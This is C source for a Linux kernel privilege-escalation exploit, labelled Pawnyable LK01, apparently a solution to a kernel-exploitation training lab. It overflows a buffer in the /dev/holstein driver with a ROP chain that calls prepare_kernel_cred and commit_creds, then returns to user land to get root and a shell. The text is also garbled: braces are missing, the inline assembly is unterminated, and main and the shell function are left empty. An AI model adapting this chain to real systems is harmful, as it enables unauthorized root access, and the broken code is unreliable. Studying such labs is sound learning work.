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Pawnyable LK01
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
char *VULN_DRV = "/dev/holstein";
void spawn_shell();
int64_t global_fd = 0;
uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t user_rip = (uint64_t) spawn_shell;
uint64_t prepare_kernel_cred = 0xffffffff8106e240;
uint64_t commit_creds = 0xffffffff8106e390;
uint64_t pop_rdi_ret = 0xffffffff812ef4c0;
uint64_t pop_rcx_ret = 0xffffffff812ea083;
uint64_t mov_rdi_rax_xxx_ret = 0xffffffff8160c96b;
uint64_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81800e10;
void open_dev() {
global_fd = open(VULN_DRV, O_RDWR);
if (global_fd < 0) {
printf("[!] failed to open %s\n", VULN_DRV);
} else {
printf("[+] successfully opened %s\n", VULN_DRV);
void spawn_shell() {
puts("[+] returned to user land");
uid_t uid = getuid();
if (uid == 0) {
printf("[+] got root (uid = %d)\n", uid);
} else {
printf("[!] failed to get root (uid: %d)\n", uid);
puts("[*] spawning shell");
void save_userland_state() {
puts("[*] saving user land state");
__asm__(".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pop user_rflags;"
void overwrite_ret() {
puts("[*] trying to overwrite return address of write op");
char payload[0x500];
memset(payload, 'A', 0x408);
unsigned long *chain = (unsigned long*)&payload[0x408];
*chain++ = pop_rdi_ret; // return address
*chain++ = 0x0;
*chain++ = prepare_kernel_cred;
*chain++ = pop_rcx_ret;
*chain++ = 0;
*chain++ = mov_rdi_rax_xxx_ret;
*chain++ = commit_creds;
*chain++ = swapgs_restore_regs_and_return_to_usermode + 22;
*chain++ = 0x0;
*chain++ = 0x0;
*chain++ = user_rip;
*chain++ = user_cs;
*chain++ = user_rflags;
*chain++ = user_sp;
*chain++ = user_ss;
uint64_t data = write(global_fd, payload, sizeof(payload));
puts("[-] if you can read this we failed the mission :(");
int main(int argc, char **argv) {
return 0;
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